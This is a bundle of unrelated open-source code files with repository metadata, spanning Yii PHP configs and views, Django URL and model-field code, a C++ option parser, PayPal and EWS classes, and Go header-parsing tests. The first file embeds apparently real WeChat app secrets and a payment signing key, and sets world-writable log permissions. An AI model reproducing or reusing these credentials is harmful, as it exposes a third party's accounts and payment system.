<?php use yii\helpers\Url; return [ 'params' =>[ 'debug' => true, 'log' => [ 'level' => 'trace', 'permission' => 0777, 'file' => '/tmp/easywechat.log', ], 'wx' => [ 'appid' => 'wxf2831524143015af', 'appsecret' => 'fa7aec57b599c0e1155b4ba19857a8f5', 'token' => '7JPN8xArTFbvBgIjHXaDZdnwf3tQeY2c', ], 'miniProgram'=> [ 'appid' => 'wxddc8ada25ff73f9e', 'appsecret' => 'f29ab7ad6001d56bc6b7f9e991afb3e5', ], 'payment' => [ 'merchant_id' => '1487057712', 'key' => 'ba8c8eef2ce4a75eb264485baabbf6ae', 'cert_path' => Yii::getAlias('@app/web/static/cert/apiclient_cert.pem'),//'path/to/your/cert.pem', // XXX: 绝对路径!!!! 'key_path' => Yii::getAlias('@app/web/static/cert/apiclient_key.pem'),//'path/to/your/key', 'notify_url' => 'http://lion.ibagou.com/wechat/home/order/notify' ], ] ];
cboy868/lion
modules/api/config.php
PHP
bsd-3-clause
1,107
<?php namespace hipanel\modules\stock\actions; use hipanel\actions\ValidateFormAction; use hipanel\modules\stock\forms\PartSellForm; use Yii; use yii\base\DynamicModel; use yii\helpers\Html; class ValidateSellFormAction extends ValidateFormAction { public function init() { $this->setModel(PartSellForm::class); } public function validateMultiple() { $result = []; foreach ($this->collection->models as $i => $model) { $model->validate(); foreach ($model->getErrors() as $attribute => $errors) { if ($attribute !== 'sums') { $id = Html::getInputId($model, $attribute); $result[$id] = $errors; } else { foreach ($model->sums as $id => $price) { $validateModel = DynamicModel::validateData(compact('price'), [ ['price', 'required', 'message' => Yii::t('hipanel:stock', 'The field cannot be blank.')], [ 'price', 'number', 'min' => 0, 'max' => 999999, 'message' => Yii::t('hipanel:stock', 'The field must be a number.'), 'tooSmall' => Yii::t('hipanel:stock', 'The field must be no less than {min}.'), 'tooBig' => Yii::t('hipanel:stock', 'The field must be no greater than {max}.'), ], ]); $result['partsellform-sums-' . $id] = $validateModel->getErrors('price'); } } } } return $result; } }
hiqdev/hipanel-module-stock
src/actions/ValidateSellFormAction.php
PHP
bsd-3-clause
1,706
<?php use yii\helpers\Html; use yii\helpers\ArrayHelper; use backend\modules\cms\models\Category; use yii\widgets\ActiveForm; use kartik\select2\Select2; /* @var $this yii\web\View */ /* @var $model backend\modules\cms\models\Category */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="category-form"> <?php $form = ActiveForm::begin(); ?> <?= $form->field($model, 'name')->textInput(['maxlength' => true]) ?> <?= $form->field($model, 'detail')->textArea(['maxlength' => true]) ?> <?= $form->field($model, 'parent_id')->widget(Select2::classname(), [ 'data' => ArrayHelper::map(Category::find()->all(),'id','name'), 'options' => ['placeholder' => 'Select a category ...'], 'pluginOptions' => [ 'allowClear' => true, ], ]); ?> <?= $form->field($model, 'status')->checkBox() ?> <div class="form-group"> <?= Html::submitButton($model->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Update'), ['class' => $model->isNewRecord ? 'btn btn-success' : 'btn btn-primary']) ?> </div> <?php ActiveForm::end(); ?> </div>
dixonsatit/dixon-starter
backend/modules/cms/views/category/_form.php
PHP
bsd-3-clause
1,108
from django.conf.urls import patterns, include, url urlpatterns = patterns( 'places.views', url(r'^summary/(?P<place_slug>[^/]+)/$', 'summary'), url(r'^profiles/(?P<place_slug>[^/]+)/$', 'profiles'), url(r'^programs/(?P<place_slug>[^/]+)/$', 'programs'), )
MAPC/masshealth
places/urls.py
Python
bsd-3-clause
275
/////////////////////////////////////////////////////////////////////////////// // BOSSA // // Copyright (c) 2011-2012, ShumaTech // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of the <organization> nor the // names of its contributors may be used to endorse or promote products // derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY // DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND // ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. /////////////////////////////////////////////////////////////////////////////// #include <stdlib.h> #include <getopt.h> #include <string.h> #include <assert.h> #include "CmdOpts.h" CmdOpts::CmdOpts(int argc, char* argv[], int numOpts, Option* opts) : _argc(argc), _argv(argv), _numOpts(numOpts), _opts(opts) { } CmdOpts::~CmdOpts() { } void CmdOpts::usage(FILE* out) { int optIdx; char name[40]; const char* start; const char* end; size_t wbytes; for (optIdx = 0; optIdx < _numOpts; optIdx++) { if (_opts[optIdx].arg.has == ArgOptional) snprintf(name, sizeof(name), " -%c, --%s[=%s]", _opts[optIdx].letter, _opts[optIdx].name, _opts[optIdx].arg.name); else if (_opts[optIdx].arg.has == ArgRequired) snprintf(name, sizeof(name), " -%c, --%s=%s", _opts[optIdx].letter, _opts[optIdx].name, _opts[optIdx].arg.name); else snprintf(name, sizeof(name), " -%c, --%s", _opts[optIdx].letter, _opts[optIdx].name); fprintf(out, "%-23s ", name); start = _opts[optIdx].help; while ((end = strchr(start, '\n'))) { wbytes = fwrite(start, end - start + 1, 1, out); fprintf(out, "%24s", ""); start = end + 1; } fprintf(out, "%s\n", start); } } int CmdOpts::parse() { struct option long_opts[_numOpts + 1]; char optstring[_numOpts * 3 + 1]; char* optPtr = optstring; int optIdx; int rc; for (optIdx = 0; optIdx < _numOpts; optIdx++) { *_opts[optIdx].present = false; *optPtr++ = _opts[optIdx].letter; long_opts[optIdx].name = _opts[optIdx].name; switch (_opts[optIdx].arg.has) { default: case ArgNone: long_opts[optIdx].has_arg = no_argument; break; case ArgOptional: long_opts[optIdx].has_arg = optional_argument; *optPtr++ = ':'; *optPtr++ = ':'; break; case ArgRequired: long_opts[optIdx].has_arg = required_argument; *optPtr++ = ':'; break; } long_opts[optIdx].flag = NULL; long_opts[optIdx].val = 0; } memset(&long_opts[_numOpts], 0, sizeof(long_opts[_numOpts])); *optPtr = '\0'; optIdx = 0; while ((rc = getopt_long(_argc, _argv, optstring, long_opts, &optIdx)) != -1) { if (rc == '?') return -1; if (rc != 0) optIdx = find(rc); assert(optIdx >= 0 && optIdx < _numOpts); *_opts[optIdx].present = true; if (_opts[optIdx].arg.has != ArgNone && optarg) { switch (_opts[optIdx].arg.type) { case ArgInt: *_opts[optIdx].arg.value.intPtr = strtol(optarg, NULL, 0); break; default: case ArgString: *_opts[optIdx].arg.value.strPtr = optarg; break; } } } return optind; } int CmdOpts::find(char letter) { int optIdx; for (optIdx = 0; optIdx < _numOpts; optIdx++) if (_opts[optIdx].letter == letter) break; return optIdx; }
CarbonLifeForm/BOSSA
src/CmdOpts.cpp
C++
bsd-3-clause
5,041
<?php namespace SpeckPaypal\Request; use SpeckPaypal\Element\AbstractElement; abstract class AbstractRequest extends AbstractElement { protected $method; abstract public function isValid(); /** * (Required) * * @param $method * @return AbstractRequest */ protected function setMethod($method) { $this->method = $method; return $this; } /** * Return formatted NVP string * * @return string */ public function __toString() { $data = $this->toArray(); $query = array(); foreach ( $data as $key => $value) { $query[] = strtoupper($key) . '='. urlencode($value); } return '&' . implode('&', $query); } }
krzozk/paymentszf2
module/SpeckPaypal/src/SpeckPaypal/Request/AbstractRequest.php
PHP
bsd-3-clause
762
#!/usr/bin/env python import os import site site.addsitedir(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) from django.core.management import execute_manager import settings if __name__ == "__main__": execute_manager(settings)
boar/boar
boar/manage.py
Python
bsd-3-clause
253
// Copyright 2016 Andreas Koch. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package main import ( "strings" "testing" ) func Test_getXForwardedForHeader_EmptyHeader_ErrorIsReturned(t *testing.T) { // arrange header := map[string][]string{} // act _, err := getXForwardedForHeader(header) // assert if err == nil || !strings.Contains(err.Error(), "X-Forwared-For header was not found") { t.Fail() t.Logf("getXForwardedForHeader(%q) should return an error if no XFF header was found.", header) } } func Test_getXForwardedForHeader_HeaderWithoutXff_ErrorIsReturned(t *testing.T) { // arrange header := map[string][]string{ "Accept-Encoding": []string{"gzip, deflate"}, "If-Modified-Since": []string{"Sun, 7 Feb 2016 10:13:41 UTC"}, } // act _, err := getXForwardedForHeader(header) // assert if err == nil || !strings.Contains(err.Error(), "X-Forwared-For header was not found") { t.Fail() t.Logf("getXForwardedForHeader(%q) should return an error if no XFF header was found.", header) } } func Test_getXForwardedForHeader_HeaderWithSingleXff_XffIsReturned(t *testing.T) { // arrange header := map[string][]string{ "Accept-Encoding": []string{"gzip, deflate"}, "If-Modified-Since": []string{"Sun, 7 Feb 2016 10:13:41 UTC"}, "X-Forwarded-For": []string{"::1"}, } // act result, _ := getXForwardedForHeader(header) // assert if result != "::1" { t.Fail() t.Logf("getXForwardedForHeader(%q) should return %s.", header, "::1") } } func Test_getXForwardedForHeader_HeaderWithMultipleXff_FirstXffIsReturned(t *testing.T) { // arrange header := map[string][]string{ "Accept-Encoding": []string{"gzip, deflate"}, "If-Modified-Since": []string{"Sun, 7 Feb 2016 10:13:41 UTC"}, "X-Forwarded-For": []string{"::1", "::2", "::3"}, } // act result, _ := getXForwardedForHeader(header) // assert if result != "::1" { t.Fail() t.Logf("getXForwardedForHeader(%q) should return %s.", header, "::1") } } func Test_getXForwardedForHeader_XffHeaderWithDifferentCasing_XffIsReturned(t *testing.T) { // arrange headerNames := []string{ "X-Forwarded-For", "x-forwarded-for", "X-FORWARDED-FOR", } for _, headerName := range headerNames { header := map[string][]string{ headerName: []string{"::1", "::2", "::3"}, "Accept-Encoding": []string{"gzip, deflate"}, "If-Modified-Since": []string{"Sun, 7 Feb 2016 10:13:41 UTC"}, } // act result, _ := getXForwardedForHeader(header) // assert if result != "::1" { t.Fail() t.Logf("getXForwardedForHeader(%q) should return %s.", header, "::1") } } }
andreaskoch/yip
server_getXForwardedForHeader_test.go
GO
bsd-3-clause
2,693
<?php namespace garethp\ews\API\Message; /** * Class representing CopyItemResponseType * * * XSD Type: CopyItemResponseType */ class CopyItemResponseType extends BaseResponseMessageType { }
Garethp/php-ews
src/API/Message/CopyItemResponseType.php
PHP
bsd-3-clause
199
# -*- coding: utf-8 -*- from __future__ import unicode_literals import collections import copy import datetime import decimal import math import uuid import warnings from base64 import b64decode, b64encode from itertools import tee from django.apps import apps from django.db import connection from django.db.models.lookups import default_lookups, RegisterLookupMixin from django.db.models.query_utils import QueryWrapper from django.conf import settings from django import forms from django.core import exceptions, validators, checks from django.utils.datastructures import DictWrapper from django.utils.dateparse import parse_date, parse_datetime, parse_time, parse_duration from django.utils.duration import duration_string from django.utils.functional import cached_property, curry, total_ordering, Promise from django.utils.text import capfirst from django.utils import timezone from django.utils.translation import ugettext_lazy as _ from django.utils.encoding import (smart_text, force_text, force_bytes, python_2_unicode_compatible) from django.utils.ipv6 import clean_ipv6_address from django.utils import six from django.utils.itercompat import is_iterable # When the _meta object was formalized, this exception was moved to # django.core.exceptions. It is retained here for backwards compatibility # purposes. from django.core.exceptions import FieldDoesNotExist # NOQA # Avoid "TypeError: Item in ``from list'' not a string" -- unicode_literals # makes these strings unicode __all__ = [str(x) for x in ( 'AutoField', 'BLANK_CHOICE_DASH', 'BigIntegerField', 'BinaryField', 'BooleanField', 'CharField', 'CommaSeparatedIntegerField', 'DateField', 'DateTimeField', 'DecimalField', 'DurationField', 'EmailField', 'Empty', 'Field', 'FieldDoesNotExist', 'FilePathField', 'FloatField', 'GenericIPAddressField', 'IPAddressField', 'IntegerField', 'NOT_PROVIDED', 'NullBooleanField', 'PositiveIntegerField', 'PositiveSmallIntegerField', 'SlugField', 'SmallIntegerField', 'TextField', 'TimeField', 'URLField', 'UUIDField', )] class Empty(object): pass class NOT_PROVIDED: pass # The values to use for "blank" in SelectFields. Will be appended to the start # of most "choices" lists. BLANK_CHOICE_DASH = [("", "---------")] def _load_field(app_label, model_name, field_name): return apps.get_model(app_label, model_name)._meta.get_field(field_name) # A guide to Field parameters: # # * name: The name of the field specified in the model. # * attname: The attribute to use on the model object. This is the same as # "name", except in the case of ForeignKeys, where "_id" is # appended. # * db_column: The db_column specified in the model (or None). # * column: The database column for this field. This is the same as # "attname", except if db_column is specified. # # Code that introspects values, or does other dynamic things, should use # attname. For example, this gets the primary key value of object "obj": # # getattr(obj, opts.pk.attname) def _empty(of_cls): new = Empty() new.__class__ = of_cls return new @total_ordering @python_2_unicode_compatible class Field(RegisterLookupMixin): """Base class for all field types""" # Designates whether empty strings fundamentally are allowed at the # database level. empty_strings_allowed = True empty_values = list(validators.EMPTY_VALUES) # These track each time a Field instance is created. Used to retain order. # The auto_creation_counter is used for fields that Django implicitly # creates, creation_counter is used for all user-specified fields. creation_counter = 0 auto_creation_counter = -1 default_validators = [] # Default set of validators default_error_messages = { 'invalid_choice': _('Value %(value)r is not a valid choice.'), 'null': _('This field cannot be null.'), 'blank': _('This field cannot be blank.'), 'unique': _('%(model_name)s with this %(field_label)s ' 'already exists.'), # Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. # Eg: "Title must be unique for pub_date year" 'unique_for_date': _("%(field_label)s must be unique for " "%(date_field_label)s %(lookup_type)s."), } class_lookups = default_lookups.copy() system_check_deprecated_details = None system_check_removed_details = None # Field flags hidden = False many_to_many = None many_to_one = None one_to_many = None one_to_one = None related_model = None # Generic field type description, usually overridden by subclasses def _description(self): return _('Field of type: %(field_type)s') % { 'field_type': self.__class__.__name__ } description = property(_description) def __init__(self, verbose_name=None, name=None, primary_key=False, max_length=None, unique=False, blank=False, null=False, db_index=False, rel=None, default=NOT_PROVIDED, editable=True, serialize=True, unique_for_date=None, unique_for_month=None, unique_for_year=None, choices=None, help_text='', db_column=None, db_tablespace=None, auto_created=False, validators=[], error_messages=None): self.name = name self.verbose_name = verbose_name # May be set by set_attributes_from_name self._verbose_name = verbose_name # Store original for deconstruction self.primary_key = primary_key self.max_length, self._unique = max_length, unique self.blank, self.null = blank, null self.rel = rel self.is_relation = self.rel is not None self.default = default self.editable = editable self.serialize = serialize self.unique_for_date = unique_for_date self.unique_for_month = unique_for_month self.unique_for_year = unique_for_year self._choices = choices or [] self.help_text = help_text self.db_column = db_column self.db_tablespace = db_tablespace or settings.DEFAULT_INDEX_TABLESPACE self.auto_created = auto_created # Set db_index to True if the field has a relationship and doesn't # explicitly set db_index. self.db_index = db_index # Adjust the appropriate creation counter, and save our local copy. if auto_created: self.creation_counter = Field.auto_creation_counter Field.auto_creation_counter -= 1 else: self.creation_counter = Field.creation_counter Field.creation_counter += 1 self._validators = validators # Store for deconstruction later messages = {} for c in reversed(self.__class__.__mro__): messages.update(getattr(c, 'default_error_messages', {})) messages.update(error_messages or {}) self._error_messages = error_messages # Store for deconstruction later self.error_messages = messages def __str__(self): """ Return "app_label.model_label.field_name". """ model = self.model app = model._meta.app_label return '%s.%s.%s' % (app, model._meta.object_name, self.name) def __repr__(self): """ Displays the module, class and name of the field. """ path = '%s.%s' % (self.__class__.__module__, self.__class__.__name__) name = getattr(self, 'name', None) if name is not None: return '<%s: %s>' % (path, name) return '<%s>' % path def check(self, **kwargs): errors = [] errors.extend(self._check_field_name()) errors.extend(self._check_choices()) errors.extend(self._check_db_index()) errors.extend(self._check_null_allowed_for_primary_keys()) errors.extend(self._check_backend_specific_checks(**kwargs)) errors.extend(self._check_deprecation_details()) return errors def _check_field_name(self): """ Check if field name is valid, i.e. 1) does not end with an underscore, 2) does not contain "__" and 3) is not "pk". """ if self.name.endswith('_'): return [ checks.Error( 'Field names must not end with an underscore.', hint=None, obj=self, id='fields.E001', ) ] elif '__' in self.name: return [ checks.Error( 'Field names must not contain "__".', hint=None, obj=self, id='fields.E002', ) ] elif self.name == 'pk': return [ checks.Error( "'pk' is a reserved word that cannot be used as a field name.", hint=None, obj=self, id='fields.E003', ) ] else: return [] def _check_choices(self): if self.choices: if (isinstance(self.choices, six.string_types) or not is_iterable(self.choices)): return [ checks.Error( "'choices' must be an iterable (e.g., a list or tuple).", hint=None, obj=self, id='fields.E004', ) ] elif any(isinstance(choice, six.string_types) or not is_iterable(choice) or len(choice) != 2 for choice in self.choices): return [ checks.Error( ("'choices' must be an iterable containing " "(actual value, human readable name) tuples."), hint=None, obj=self, id='fields.E005', ) ] else: return [] else: return [] def _check_db_index(self): if self.db_index not in (None, True, False): return [ checks.Error( "'db_index' must be None, True or False.", hint=None, obj=self, id='fields.E006', ) ] else: return [] def _check_null_allowed_for_primary_keys(self): if (self.primary_key and self.null and not connection.features.interprets_empty_strings_as_nulls): # We cannot reliably check this for backends like Oracle which # consider NULL and '' to be equal (and thus set up # character-based fields a little differently). return [ checks.Error( 'Primary keys must not have null=True.', hint=('Set null=False on the field, or ' 'remove primary_key=True argument.'), obj=self, id='fields.E007', ) ] else: return [] def _check_backend_specific_checks(self, **kwargs): return connection.validation.check_field(self, **kwargs) def _check_deprecation_details(self): if self.system_check_removed_details is not None: return [ checks.Error( self.system_check_removed_details.get( 'msg', '%s has been removed except for support in historical ' 'migrations.' % self.__class__.__name__ ), hint=self.system_check_removed_details.get('hint'), obj=self, id=self.system_check_removed_details.get('id', 'fields.EXXX'), ) ] elif self.system_check_deprecated_details is not None: return [ checks.Warning( self.system_check_deprecated_details.get( 'msg', '%s has been deprecated.' % self.__class__.__name__ ), hint=self.system_check_deprecated_details.get('hint'), obj=self, id=self.system_check_deprecated_details.get('id', 'fields.WXXX'), ) ] return [] def get_col(self, alias, source=None): if source is None: source = self if alias != self.model._meta.db_table or source != self: from django.db.models.expressions import Col return Col(alias, self, source) else: return self.cached_col @cached_property def cached_col(self): from django.db.models.expressions import Col return Col(self.model._meta.db_table, self) def select_format(self, compiler, sql, params): """ Custom format for select clauses. For example, GIS columns need to be selected as AsText(table.col) on MySQL as the table.col data can't be used by Django. """ return sql, params def deconstruct(self): """ Returns enough information to recreate the field as a 4-tuple: * The name of the field on the model, if contribute_to_class has been run * The import path of the field, including the class: django.db.models.IntegerField This should be the most portable version, so less specific may be better. * A list of positional arguments * A dict of keyword arguments Note that the positional or keyword arguments must contain values of the following types (including inner values of collection types): * None, bool, str, unicode, int, long, float, complex, set, frozenset, list, tuple, dict * UUID * datetime.datetime (naive), datetime.date * top-level classes, top-level functions - will be referenced by their full import path * Storage instances - these have their own deconstruct() method This is because the values here must be serialized into a text format (possibly new Python code, possibly JSON) and these are the only types with encoding handlers defined. There's no need to return the exact way the field was instantiated this time, just ensure that the resulting field is the same - prefer keyword arguments over positional ones, and omit parameters with their default values. """ # Short-form way of fetching all the default parameters keywords = {} possibles = { "verbose_name": None, "primary_key": False, "max_length": None, "unique": False, "blank": False, "null": False, "db_index": False, "default": NOT_PROVIDED, "editable": True, "serialize": True, "unique_for_date": None, "unique_for_month": None, "unique_for_year": None, "choices": [], "help_text": '', "db_column": None, "db_tablespace": settings.DEFAULT_INDEX_TABLESPACE, "auto_created": False, "validators": [], "error_messages": None, } attr_overrides = { "unique": "_unique", "choices": "_choices", "error_messages": "_error_messages", "validators": "_validators", "verbose_name": "_verbose_name", } equals_comparison = {"choices", "validators", "db_tablespace"} for name, default in possibles.items(): value = getattr(self, attr_overrides.get(name, name)) # Unroll anything iterable for choices into a concrete list if name == "choices" and isinstance(value, collections.Iterable): value = list(value) # Do correct kind of comparison if name in equals_comparison: if value != default: keywords[name] = value else: if value is not default: keywords[name] = value # Work out path - we shorten it for known Django core fields path = "%s.%s" % (self.__class__.__module__, self.__class__.__name__) if path.startswith("django.db.models.fields.related"): path = path.replace("django.db.models.fields.related", "django.db.models") if path.startswith("django.db.models.fields.files"): path = path.replace("django.db.models.fields.files", "django.db.models") if path.startswith("django.db.models.fields.proxy"): path = path.replace("django.db.models.fields.proxy", "django.db.models") if path.startswith("django.db.models.fields"): path = path.replace("django.db.models.fields", "django.db.models") # Return basic info - other fields should override this. return ( force_text(self.name, strings_only=True), path, [], keywords, ) def clone(self): """ Uses deconstruct() to clone a new copy of this Field. Will not preserve any class attachments/attribute names. """ name, path, args, kwargs = self.deconstruct() return self.__class__(*args, **kwargs) def __eq__(self, other): # Needed for @total_ordering if isinstance(other, Field): return self.creation_counter == other.creation_counter return NotImplemented def __lt__(self, other): # This is needed because bisect does not take a comparison function. if isinstance(other, Field): return self.creation_counter < other.creation_counter return NotImplemented def __hash__(self): return hash(self.creation_counter) def __deepcopy__(self, memodict): # We don't have to deepcopy very much here, since most things are not # intended to be altered after initial creation. obj = copy.copy(self) if self.rel: obj.rel = copy.copy(self.rel) if hasattr(self.rel, 'field') and self.rel.field is self: obj.rel.field = obj memodict[id(self)] = obj return obj def __copy__(self): # We need to avoid hitting __reduce__, so define this # slightly weird copy construct. obj = Empty() obj.__class__ = self.__class__ obj.__dict__ = self.__dict__.copy() return obj def __reduce__(self): """ Pickling should return the model._meta.fields instance of the field, not a new copy of that field. So, we use the app registry to load the model and then the field back. """ if not hasattr(self, 'model'): # Fields are sometimes used without attaching them to models (for # example in aggregation). In this case give back a plain field # instance. The code below will create a new empty instance of # class self.__class__, then update its dict with self.__dict__ # values - so, this is very close to normal pickle. return _empty, (self.__class__,), self.__dict__ if self.model._deferred: # Deferred model will not be found from the app registry. This # could be fixed by reconstructing the deferred model on unpickle. raise RuntimeError("Fields of deferred models can't be reduced") return _load_field, (self.model._meta.app_label, self.model._meta.object_name, self.name) def to_python(self, value): """ Converts the input value into the expected Python data type, raising django.core.exceptions.ValidationError if the data can't be converted. Returns the converted value. Subclasses should override this. """ return value @cached_property def validators(self): # Some validators can't be created at field initialization time. # This method provides a way to delay their creation until required. return self.default_validators + self._validators def run_validators(self, value): if value in self.empty_values: return errors = [] for v in self.validators: try: v(value) except exceptions.ValidationError as e: if hasattr(e, 'code') and e.code in self.error_messages: e.message = self.error_messages[e.code] errors.extend(e.error_list) if errors: raise exceptions.ValidationError(errors) def validate(self, value, model_instance): """ Validates value and throws ValidationError. Subclasses should override this to provide validation logic. """ if not self.editable: # Skip validation for non-editable fields. return if self._choices and value not in self.empty_values: for option_key, option_value in self.choices: if isinstance(option_value, (list, tuple)): # This is an optgroup, so look inside the group for # options. for optgroup_key, optgroup_value in option_value: if value == optgroup_key: return elif value == option_key: return raise exceptions.ValidationError( self.error_messages['invalid_choice'], code='invalid_choice', params={'value': value}, ) if value is None and not self.null: raise exceptions.ValidationError(self.error_messages['null'], code='null') if not self.blank and value in self.empty_values: raise exceptions.ValidationError(self.error_messages['blank'], code='blank') def clean(self, value, model_instance): """ Convert the value's type and run validation. Validation errors from to_python and validate are propagated. The correct value is returned if no error is raised. """ value = self.to_python(value) self.validate(value, model_instance) self.run_validators(value) return value def db_type(self, connection): """ Returns the database column data type for this field, for the provided connection. """ # The default implementation of this method looks at the # backend-specific data_types dictionary, looking up the field by its # "internal type". # # A Field class can implement the get_internal_type() method to specify # which *preexisting* Django Field class it's most similar to -- i.e., # a custom field might be represented by a TEXT column type, which is # the same as the TextField Django field type, which means the custom # field's get_internal_type() returns 'TextField'. # # But the limitation of the get_internal_type() / data_types approach # is that it cannot handle database column types that aren't already # mapped to one of the built-in Django field types. In this case, you # can implement db_type() instead of get_internal_type() to specify # exactly which wacky database column type you want to use. data = DictWrapper(self.__dict__, connection.ops.quote_name, "qn_") try: return connection.data_types[self.get_internal_type()] % data except KeyError: return None def db_parameters(self, connection): """ Extension of db_type(), providing a range of different return values (type, checks). This will look at db_type(), allowing custom model fields to override it. """ data = DictWrapper(self.__dict__, connection.ops.quote_name, "qn_") type_string = self.db_type(connection) try: check_string = connection.data_type_check_constraints[self.get_internal_type()] % data except KeyError: check_string = None return { "type": type_string, "check": check_string, } def db_type_suffix(self, connection): return connection.data_types_suffix.get(self.get_internal_type()) def get_db_converters(self, connection): if hasattr(self, 'from_db_value'): return [self.from_db_value] return [] @property def unique(self): return self._unique or self.primary_key def set_attributes_from_name(self, name): if not self.name: self.name = name self.attname, self.column = self.get_attname_column() self.concrete = self.column is not None if self.verbose_name is None and self.name: self.verbose_name = self.name.replace('_', ' ') def contribute_to_class(self, cls, name, virtual_only=False): self.set_attributes_from_name(name) self.model = cls if virtual_only: cls._meta.add_field(self, virtual=True) else: cls._meta.add_field(self) if self.choices: setattr(cls, 'get_%s_display' % self.name, curry(cls._get_FIELD_display, field=self)) def get_attname(self): return self.name def get_attname_column(self): attname = self.get_attname() column = self.db_column or attname return attname, column def get_cache_name(self): return '_%s_cache' % self.name def get_internal_type(self): return self.__class__.__name__ def pre_save(self, model_instance, add): """ Returns field's value just before saving. """ return getattr(model_instance, self.attname) def get_prep_value(self, value): """ Perform preliminary non-db specific value checks and conversions. """ if isinstance(value, Promise): value = value._proxy____cast() return value def get_db_prep_value(self, value, connection, prepared=False): """Returns field's value prepared for interacting with the database backend. Used by the default implementations of ``get_db_prep_save``and `get_db_prep_lookup``` """ if not prepared: value = self.get_prep_value(value) return value def get_db_prep_save(self, value, connection): """ Returns field's value prepared for saving into a database. """ return self.get_db_prep_value(value, connection=connection, prepared=False) def get_prep_lookup(self, lookup_type, value): """ Perform preliminary non-db specific lookup checks and conversions """ if hasattr(value, '_prepare'): return value._prepare() if lookup_type in { 'iexact', 'contains', 'icontains', 'startswith', 'istartswith', 'endswith', 'iendswith', 'month', 'day', 'week_day', 'hour', 'minute', 'second', 'isnull', 'search', 'regex', 'iregex', }: return value elif lookup_type in ('exact', 'gt', 'gte', 'lt', 'lte'): return self.get_prep_value(value) elif lookup_type in ('range', 'in'): return [self.get_prep_value(v) for v in value] elif lookup_type == 'year': try: return int(value) except ValueError: raise ValueError("The __year lookup type requires an integer " "argument") return self.get_prep_value(value) def get_db_prep_lookup(self, lookup_type, value, connection, prepared=False): """ Returns field's value prepared for database lookup. """ if not prepared: value = self.get_prep_lookup(lookup_type, value) prepared = True if hasattr(value, 'get_compiler'): value = value.get_compiler(connection=connection) if hasattr(value, 'as_sql') or hasattr(value, '_as_sql'): # If the value has a relabeled_clone method it means the # value will be handled later on. if hasattr(value, 'relabeled_clone'): return value if hasattr(value, 'as_sql'): sql, params = value.as_sql() else: sql, params = value._as_sql(connection=connection) return QueryWrapper(('(%s)' % sql), params) if lookup_type in ('month', 'day', 'week_day', 'hour', 'minute', 'second', 'search', 'regex', 'iregex', 'contains', 'icontains', 'iexact', 'startswith', 'endswith', 'istartswith', 'iendswith'): return [value] elif lookup_type in ('exact', 'gt', 'gte', 'lt', 'lte'): return [self.get_db_prep_value(value, connection=connection, prepared=prepared)] elif lookup_type in ('range', 'in'): return [self.get_db_prep_value(v, connection=connection, prepared=prepared) for v in value] elif lookup_type == 'isnull': return [] elif lookup_type == 'year': if isinstance(self, DateTimeField): return connection.ops.year_lookup_bounds_for_datetime_field(value) elif isinstance(self, DateField): return connection.ops.year_lookup_bounds_for_date_field(value) else: return [value] # this isn't supposed to happen else: return [value] def has_default(self): """ Returns a boolean of whether this field has a default value. """ return self.default is not NOT_PROVIDED def get_default(self): """ Returns the default value for this field. """ if self.has_default(): if callable(self.default): return self.default() return self.default if (not self.empty_strings_allowed or (self.null and not connection.features.interprets_empty_strings_as_nulls)): return None return "" def get_choices(self, include_blank=True, blank_choice=BLANK_CHOICE_DASH, limit_choices_to=None): """Returns choices with a default blank choices included, for use as SelectField choices for this field.""" blank_defined = False choices = list(self.choices) if self.choices else [] named_groups = choices and isinstance(choices[0][1], (list, tuple)) if not named_groups: for choice, __ in choices: if choice in ('', None): blank_defined = True break first_choice = (blank_choice if include_blank and not blank_defined else []) if self.choices: return first_choice + choices rel_model = self.rel.to limit_choices_to = limit_choices_to or self.get_limit_choices_to() if hasattr(self.rel, 'get_related_field'): lst = [(getattr(x, self.rel.get_related_field().attname), smart_text(x)) for x in rel_model._default_manager.complex_filter( limit_choices_to)] else: lst = [(x._get_pk_val(), smart_text(x)) for x in rel_model._default_manager.complex_filter( limit_choices_to)] return first_choice + lst def get_choices_default(self): return self.get_choices() def get_flatchoices(self, include_blank=True, blank_choice=BLANK_CHOICE_DASH): """ Returns flattened choices with a default blank choice included. """ first_choice = blank_choice if include_blank else [] return first_choice + list(self.flatchoices) def _get_val_from_obj(self, obj): if obj is not None: return getattr(obj, self.attname) else: return self.get_default() def value_to_string(self, obj): """ Returns a string value of this field from the passed obj. This is used by the serialization framework. """ return smart_text(self._get_val_from_obj(obj)) def _get_choices(self): if isinstance(self._choices, collections.Iterator): choices, self._choices = tee(self._choices) return choices else: return self._choices choices = property(_get_choices) def _get_flatchoices(self): """Flattened version of choices tuple.""" flat = [] for choice, value in self.choices: if isinstance(value, (list, tuple)): flat.extend(value) else: flat.append((choice, value)) return flat flatchoices = property(_get_flatchoices) def save_form_data(self, instance, data): setattr(instance, self.name, data) def formfield(self, form_class=None, choices_form_class=None, **kwargs): """ Returns a django.forms.Field instance for this database Field. """ defaults = {'required': not self.blank, 'label': capfirst(self.verbose_name), 'help_text': self.help_text} if self.has_default(): if callable(self.default): defaults['initial'] = self.default defaults['show_hidden_initial'] = True else: 